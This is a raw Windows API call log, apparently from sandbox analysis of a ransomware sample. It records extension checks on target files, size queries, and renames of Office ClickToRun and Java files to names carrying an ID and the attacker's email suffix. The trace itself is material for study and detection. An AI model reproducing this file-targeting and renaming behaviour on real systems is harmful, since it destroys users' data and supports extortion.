	[0168.517] lstrlenW (lpString=".bz2") returned 4
	[0168.517] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.517] lstrlenW (lpString=".7z") returned 3
	[0168.517] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0168.518] lstrlenW (lpString=".dbf") returned 4
	[0168.518] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0168.518] lstrlenW (lpString=".1cd") returned 4
	[0168.518] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0168.518] lstrlenW (lpString=".jpg") returned 4
	[0168.518] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.518] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0168.518] lstrlenW (lpString="AppVIsvStreamingManager.dll") returned 27
	[0168.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.518] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=210648) returned 1
	[0168.518] CloseHandle (hObject=0x4b0) returned 1
	[0168.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20
	[0168.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0168.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0168.519] lstrlenW (lpString=".doc") returned 4
	[0168.519] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.519] lstrlenW (lpString=".docx") returned 5
	[0168.519] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0168.519] lstrlenW (lpString=".pdf") returned 4
	[0168.519] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.519] lstrlenW (lpString=".xls") returned 4
	[0168.519] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.519] lstrlenW (lpString=".xlsx") returned 5
	[0168.519] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0168.519] lstrlenW (lpString=".ppt") returned 4
	[0168.519] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0168.519] lstrlenW (lpString=".zip") returned 4
	[0168.519] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.519] lstrlenW (lpString=".rar") returned 4
	[0168.519] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.519] lstrlenW (lpString=".bz2") returned 4
	[0168.520] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.520] lstrlenW (lpString=".7z") returned 3
	[0168.520] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0168.520] lstrlenW (lpString=".dbf") returned 4
	[0168.520] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0168.520] lstrlenW (lpString=".1cd") returned 4
	[0168.520] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0168.520] lstrlenW (lpString=".jpg") returned 4
	[0168.520] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0168.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0168.520] lstrlenW (lpString=".doc") returned 4
	[0168.520] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.520] lstrlenW (lpString=".docx") returned 5
	[0168.520] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0168.520] lstrlenW (lpString=".pdf") returned 4
	[0168.520] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.520] lstrlenW (lpString=".xls") returned 4
	[0168.520] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.520] lstrlenW (lpString=".xlsx") returned 5
	[0168.520] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0168.520] lstrlenW (lpString=".ppt") returned 4
	[0168.520] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0168.520] lstrlenW (lpString=".zip") returned 4
	[0168.520] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.520] lstrlenW (lpString=".rar") returned 4
	[0168.521] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.521] lstrlenW (lpString=".bz2") returned 4
	[0168.521] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.521] lstrlenW (lpString=".7z") returned 3
	[0168.521] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0168.521] lstrlenW (lpString=".dbf") returned 4
	[0168.521] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0168.521] lstrlenW (lpString=".1cd") returned 4
	[0168.521] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0168.521] lstrlenW (lpString=".jpg") returned 4
	[0168.521] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.521] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0168.521] lstrlenW (lpString="AppVIsvSubsystemController.dll") returned 30
	[0168.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.521] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=1402584) returned 1
	[0168.521] CloseHandle (hObject=0x4b0) returned 1
	[0168.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20
	[0168.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0168.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0168.522] lstrlenW (lpString=".doc") returned 4
	[0168.522] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.522] lstrlenW (lpString=".docx") returned 5
	[0168.522] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0168.522] lstrlenW (lpString=".pdf") returned 4
	[0168.522] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.522] lstrlenW (lpString=".xls") returned 4
	[0168.522] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.522] lstrlenW (lpString=".xlsx") returned 5
	[0168.522] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0168.522] lstrlenW (lpString=".ppt") returned 4
	[0168.522] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0168.522] lstrlenW (lpString=".zip") returned 4
	[0168.522] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.522] lstrlenW (lpString=".rar") returned 4
	[0168.522] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.522] lstrlenW (lpString=".bz2") returned 4
	[0168.522] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.523] lstrlenW (lpString=".7z") returned 3
	[0168.523] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0168.523] lstrlenW (lpString=".dbf") returned 4
	[0168.523] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0168.523] lstrlenW (lpString=".1cd") returned 4
	[0168.523] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0168.523] lstrlenW (lpString=".jpg") returned 4
	[0168.523] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0168.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0168.523] lstrlenW (lpString=".doc") returned 4
	[0168.523] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.523] lstrlenW (lpString=".docx") returned 5
	[0168.523] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0168.523] lstrlenW (lpString=".pdf") returned 4
	[0168.523] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.523] lstrlenW (lpString=".xls") returned 4
	[0168.523] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.523] lstrlenW (lpString=".xlsx") returned 5
	[0168.523] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0168.523] lstrlenW (lpString=".ppt") returned 4
	[0168.523] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0168.523] lstrlenW (lpString=".zip") returned 4
	[0168.523] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.523] lstrlenW (lpString=".rar") returned 4
	[0168.524] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.524] lstrlenW (lpString=".bz2") returned 4
	[0168.524] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.524] lstrlenW (lpString=".7z") returned 3
	[0168.524] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0168.524] lstrlenW (lpString=".dbf") returned 4
	[0168.524] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0168.524] lstrlenW (lpString=".1cd") returned 4
	[0168.524] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0168.524] lstrlenW (lpString=".jpg") returned 4
	[0168.524] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.524] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0168.524] lstrlenW (lpString="AppvIsvSubsystems64.dll") returned 23
	[0168.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.524] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=2285736) returned 1
	[0168.524] CloseHandle (hObject=0x4b0) returned 1
	[0168.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20
	[0168.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.525] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0168.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0168.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0168.525] lstrlenW (lpString=".doc") returned 4
	[0168.525] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.525] lstrlenW (lpString=".docx") returned 5
	[0168.525] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0168.525] lstrlenW (lpString=".pdf") returned 4
	[0168.525] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.525] lstrlenW (lpString=".xls") returned 4
	[0168.525] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.525] lstrlenW (lpString=".xlsx") returned 5
	[0168.525] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0168.525] lstrlenW (lpString=".ppt") returned 4
	[0168.525] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0168.525] lstrlenW (lpString=".zip") returned 4
	[0168.525] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.525] lstrlenW (lpString=".rar") returned 4
	[0168.525] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.525] lstrlenW (lpString=".bz2") returned 4
	[0168.525] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.526] lstrlenW (lpString=".7z") returned 3
	[0168.526] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0168.526] lstrlenW (lpString=".dbf") returned 4
	[0168.526] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0168.526] lstrlenW (lpString=".1cd") returned 4
	[0168.526] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0168.526] lstrlenW (lpString=".jpg") returned 4
	[0168.526] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0168.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0168.526] lstrlenW (lpString=".doc") returned 4
	[0168.526] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.526] lstrlenW (lpString=".docx") returned 5
	[0168.526] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0168.526] lstrlenW (lpString=".pdf") returned 4
	[0168.526] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.526] lstrlenW (lpString=".xls") returned 4
	[0168.526] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.526] lstrlenW (lpString=".xlsx") returned 5
	[0168.526] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0168.526] lstrlenW (lpString=".ppt") returned 4
	[0168.526] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0168.526] lstrlenW (lpString=".zip") returned 4
	[0168.526] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.526] lstrlenW (lpString=".rar") returned 4
	[0168.526] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.527] lstrlenW (lpString=".bz2") returned 4
	[0168.527] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.527] lstrlenW (lpString=".7z") returned 3
	[0168.527] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0168.527] lstrlenW (lpString=".dbf") returned 4
	[0168.527] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0168.527] lstrlenW (lpString=".1cd") returned 4
	[0168.527] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0168.527] lstrlenW (lpString=".jpg") returned 4
	[0168.527] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.527] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0168.527] lstrlenW (lpString="AppVIsvVirtualization.dll") returned 25
	[0168.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.527] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=567512) returned 1
	[0168.527] CloseHandle (hObject=0x4b0) returned 1
	[0168.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20
	[0168.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0168.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0168.528] lstrlenW (lpString=".doc") returned 4
	[0168.528] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.528] lstrlenW (lpString=".docx") returned 5
	[0168.528] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0168.528] lstrlenW (lpString=".pdf") returned 4
	[0168.528] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.528] lstrlenW (lpString=".xls") returned 4
	[0168.528] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.528] lstrlenW (lpString=".xlsx") returned 5
	[0168.528] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0168.528] lstrlenW (lpString=".ppt") returned 4
	[0168.528] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0168.528] lstrlenW (lpString=".zip") returned 4
	[0168.528] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.528] lstrlenW (lpString=".rar") returned 4
	[0168.528] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.528] lstrlenW (lpString=".bz2") returned 4
	[0168.528] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.528] lstrlenW (lpString=".7z") returned 3
	[0168.528] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0168.529] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0168.530] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0168.530] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0168.530] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0168.531] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0168.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1
	[0174.188] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0174.522] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0174.577] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc64 | out: lpNewFilePointer=0x0) returned 1
	[0174.577] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc24 | out: lpNewFilePointer=0x0) returned 1
